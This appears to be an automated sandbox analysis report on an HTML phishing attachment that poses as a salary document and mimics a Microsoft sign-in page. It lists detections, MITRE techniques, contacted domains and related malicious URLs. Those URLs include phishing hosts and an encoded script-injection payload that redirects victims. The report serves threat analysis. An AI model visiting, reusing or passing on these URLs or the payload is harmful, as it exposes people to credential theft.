Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://inroleet.cfd/dashboard/jdiey

HTTP Parser: https://inroleet.cfd/dashboard/jdiey

Yara detected Html Dropper

Source: Yara match

File source: 0.5.pages.csv, type: HTML

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	0%	URL Reputation	safe
file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	0%	Avira URL Cloud	safe
https://exatafidelidade.com.br/wpimg/dhdfjdf.png	0%	Avira URL Cloud	safe
https://inroleet.cfd/dashboard/ekro	0%	Avira URL Cloud	safe
https://exatafidelidade.com.br/wpimg/ekfhdk?_=1715091130790	0%	Avira URL Cloud	safe
https://exatafidelidade.com.br/wpimg/ekfhdk	0%	Avira URL Cloud	safe
https://inroleet.cfd/dashboard/wlqo	0%	Avira URL Cloud	safe
https://indall.cfd/dashboard/	0%	Avira URL Cloud	safe
https://indall.cfd/dashboard/js	0%	Avira URL Cloud	safe
https://inroleet.cfd/dashboard/fkfhskjfk.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
inroleet.cfd	163.5.112.235	true	true	unknown
exatafidelidade.com.br	172.67.135.164	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.17.3.184	true	false	high
www.google.com	142.250.72.100	true	false	high
indall.cfd	91.108.102.252	true	false	unknown
part-0012.t-0009.t-msedge.net	13.107.213.40	true	false	unknown
cdn.jsdelivr.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://exatafidelidade.com.br/wpimg/ekfhdk?_=1715091130790	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8801cdc8cadc8c54	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	true	Avira URL Cloud: safe	low
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://inroleet.cfd/dashboard/jdiey	true		unknown
https://challenges.cloudflare.com/turnstile/v0/b/ce7818f50e39/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false	URL Reputation: safe	unknown
https://inroleet.cfd/dashboard/wlqo	false	Avira URL Cloud: safe	unknown
https://indall.cfd/dashboard/js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8801cdc8cadc8c54/1715091136934/92ce955c7fb6e856bd3f908a359ad50eec582161676d9558aed188f2110b5d1c/BmkAOk67Gyt5m5E	false		high
https://indall.cfd/dashboard/	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L-	false		high
https://inroleet.cfd/dashboard/fkfhskjfk.png	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high
https://exatafidelidade.com.br/wpimg/dhdfjdf.png	false	Avira URL Cloud: safe	unknown
https://inroleet.cfd/dashboard/ekro	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://exatafidelidade.com.br/wpimg/ekfhdk	hilcorp_Salary_49372_2024.htm	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.108.102.252	indall.cfd	Germany	201596	THREENETASNO	false
152.199.4.44	cs1100.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
163.5.112.235	inroleet.cfd	France	56339	EPITECHFR	true
172.67.135.164	exatafidelidade.com.br	United States	13335	CLOUDFLARENETUS	false
104.17.3.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.107.213.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.2.184	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.8
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1437539
Start date and time:	2024-05-07 16:11:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hilcorp_Salary_49372_2024.htm
Detection:	MAL
Classification:	mal100.phis.troj.evad.winHTM@28/66@32/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.176.195, 142.250.81.238, 142.251.16.84, 34.104.35.123, 142.251.32.106, 142.251.35.170, 142.251.40.202, 142.250.80.106, 142.250.72.106, 142.251.40.170, 142.250.176.202, 142.250.80.74, 142.250.65.170, 142.250.80.42, 142.250.80.10, 142.250.64.106, 142.251.40.106, 142.251.40.234, 142.251.40.138, 172.217.165.138, 192.229.211.108, 104.18.187.31, 104.18.186.31, 142.251.41.3, 142.251.41.14
Excluded domains from analysis (whitelisted): clients1.google.com, cdn.jsdelivr.net.cdn.cloudflare.net, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: hilcorp_Salary_49372_2024.htm

URL: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

```json{  "phishing_score": 8,  "brands": "Microsoft",  "phishing": true,  "suspicious_domain": true,  "has_loginform": true,  "has_captcha": false,  "setechniques": true,  "blank": false,  "reasons": "The URL 'file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm' suggests that the page is saved locally and mimics a Microsoft login page, which is a common phishing technique. The domain 'hilcorp.com' in the email address does not match Microsoft's legitimate domain, indicating an attempt to deceive users into thinking they are logging into a Microsoft account. The presence of a login form increases the risk of credential harvesting."}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqKQFmYYN1hCWEMIVsGveF9zFMUnIk8mf3jX6PTGYvMyYUmWTvA1qbUShQDc5DVKSmMfMf4HpSatJ08ghh97kbLs-3DJcjl_09OugDUcQwwO9mX4VkTXjuP5ECqD-2FtAhOcLKpCQVZP7ABYNyAqLDO7b2XYTfvYO56lXVjkWcJqHNvRPiaOIGGWF1MqnXMsmqry2DwzSqyrZ7nUZcOLFBE3XXE9PIjxL-2FR7fq80TXPGRux2W5-2B8V49n7DrcPo3syGcv-2Fqn3uuby-2BXaTJXt01JneYpOVxfOmLbkczThDkXZx8YlL3snokTLQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	PayoffStatement56577.html	Get hash	malicious	Unknown	Browse
	https://nordarun.com/	Get hash	malicious	Unknown	Browse
	https://ye7tg.lpelr.com/ye7TG/	Get hash	malicious	HTMLPhisher	Browse
	Doco.doc	Get hash	malicious	HTMLPhisher	Browse
	https://a0sreadn.surge.sh/	Get hash	malicious	HTMLPhisher	Browse
	http://email.panatech.io/c/eJykzbFuwyAQgOGnwVstOExiDwypIqaqa6pux3EppAZbmFRKn76K_Ajd_uXTH-x1UHBQHVt1VEZKMFJ10QL5idF4CqO-TmoMo2YmDBTkZMirLlktCaQxR5g4sISBWaNUo4HDQaM-ghjkigUbU-zT0s02trZuQp8EOAEu1p5pKUtO1FLmrU8lJNyTlizAcZv7Na5Cu3udhT7_1-8u3DJmbJjvWyKPBSs-rQBHX_nJENzj82JOlNXv2-X9x3-8Rp_nmR7m5kEKfe6q_cbKRQyy5u2FlrxiSfv3LwAA__9Tq2zK	Get hash	malicious	HTMLPhisher	Browse
	http://greatmanagerinstitute.com	Get hash	malicious	Unknown	Browse
	https://igrejavideiravl.com/css/MTTRBDFH/index.php?FGDD=1	Get hash	malicious	HTMLPhisher	Browse
239.255.255.250	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse
	https://xql1lt4n.r.eu-west-1.awstrack.me/L0/https:%2F%2Fwww.online-statements.site%2Fsignin%3Ft=eyJhbGciOiJIUzI1NiJ9.eyJ0cmFja2luZ190b2tlbiI6ImU0N2Q1Njg4LWJjZTItNDBkMS1iZDBiLTRkYmRmYWVmZTJjNCIsImNlbGwiOiJodHRwczovL3Vib3p4eTh0cjkuZXhlY3V0ZS1hcGkuZXUtd2VzdC0xLmFtYXpvbmF3cy5jb20vcHJvZC9hcGkvcGhpc2hpbmdjYW1wYWlnbiIsImNhbXBhaWduX3Rva2VuIjoiZWZlYTMwNzQtZWNmNS00M2Q5LWIxYzMtYTdiOTM1MjA0YjgxIiwidGVzdF90b2tlbiI6ZmFsc2UsImV4dGVybmFsX3RyYWluaW5nIjpmYWxzZSwiZGlyZWN0X2RlbGl2ZXJ5IjpmYWxzZSwiaWF0IjoxNzE0ODM3MjY5LCJpc3MiOiJodHRwczovL2FwcC5waGlzaHRocmVhdC5jb20iLCJleHAiOjE3MjI2MTMyNjl9.j9STWIlTtc62wy3ywyflbwVw-A2HP62v_gf36PnHgdw/1/0102018f44442d12-2ae6f806-92fa-4d06-bd0c-a71a80ae73a5-000000/nTakwnVXVyVjZI8aNzBxTDPaFjA=372	Get hash	malicious	Unknown	Browse
	https://uprnssemb.com/re.php?cre=cG1leWVyQGRldnJ5LmVkdQ==	Get hash	malicious	Unknown	Browse
	https://communications.icef.com/e/937843/subscribe-/5yzzkt/661270347/h/o37OdT5kTTK0YQOP38DxMTqm35wsAb972tVFJzAO86Y	Get hash	malicious	Unknown	Browse
	llxZDywP35.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, Stealc	Browse
	https://url.us.m.mimecastprotect.com/s/FY0hCPNp42s1rx35tzam0J?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse
	https://docusign.smumsmd.ws/?__cf_chl_tk=ITyQHnec0_EF.H_i4.XpgDZn_bM0SvaoPwEjSVf12Yg-1715089177-0.0.1.1-1578	Get hash	malicious	Unknown	Browse
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse
13.107.213.40	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
13.107.213.40	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
152.199.4.44	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse
	Messages Undelivered.html	Get hash	malicious	HTMLPhisher	Browse
	https://url2.mailanyone.net/scanner?m=1s45kJ-00020Z-44&d=4%7Cmail%2F90%2F1715029800%2F1s45kJ-00020Z-44%7Cin2k%7C57e1b682%7C28613012%7C14303582%7C6639496BE14DCDF10D394B7B55DB807F&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105da9%2Fc%2FfEi9rN50SH2Z-VWWA_uxAAEAF0taA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2ed52aarnFrrataacaizc%25m.c5br2o.iy2Fgyvugv%252k%2522C22%25tiRepecOdr2nti3%252%25os5BA%25222%257%25lA2%252ul%253n22C%253%252%2521DlAn7%257%25ultiD%26les%3Ddg80QhJhi0pCF1rkb1qh9AH2erlwDy%25BjdOng19XaO%26IB2e3Ds4%25stcroerieV95n%3Db757a83dbdbbab248443e6db3fee51&s=L2FvHx5oaqoqpUYmVLmHcL1P8jM	Get hash	malicious	Fake Captcha	Browse
	https://tinyurl.com/mwhds9en	Get hash	malicious	HTMLPhisher	Browse
	http://fuelrite-my.sharepoint.com/personal/dsullivan_fuelrite_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry%2FView%20and%20Print%20Online%2Epdf&parent=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry&ga=1	Get hash	malicious	Unknown	Browse
	https://cloudflare-ipfs.com/ipfs/bafkreiatntmsqthbzq55w5z7j4exwawk3pfvamjqbdm5i34m6qnahshcfy	Get hash	malicious	HTMLPhisher	Browse
	https://calcmaker.com/-/ohpiPGH30AjqC3psgTbi	Get hash	malicious	HTMLPhisher	Browse
	Early Cutoff(usli.com).html	Get hash	malicious	HTMLPhisher	Browse
	https://secure.rightsignature.com/signers/a62bc9d4-e300-4799-b31f-1baf2136c0d1/sign?identity_token=ikxrhixfmvyfgisdycV9	Get hash	malicious	HTMLPhisher	Browse
	Voicemail Cellnextelecom.html	Get hash	malicious	HTMLPhisher	Browse
104.17.3.184	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqIhcYcD90-2BeIe0HlXjz7laJGM1FEHy-2FismlvYvBwofHOrNA-2F7xRZ41Rk45q5ZK8hIIcy4VYyBsoGVBYETzqO1ES8JBIBCuc-2BD2EUpvNqOcpfHlqI_En4Rv3Q3sKeYZk3XLzg9rUbidhZvv99QjswdoRGGc4aCi3P1UvqLBy1-2FQ-2Fdnh-2BbWAXqIbGOojasC-2BdoNBdUA0RxG21o07vFJ5c96g07QRXMYKyVf2JWKHaBYxbafr-2BlTgAJI9cDakyUBcg9wR04floBxn9-2F4XkqpjFC5eRD6tR1ZX2YdX9iPfCLGCEusCCVl57mmsAaSUM4GgicQEgoidviob3oSBgfsshhtkqquRXw-3D	Get hash	malicious	HTMLPhisher	Browse
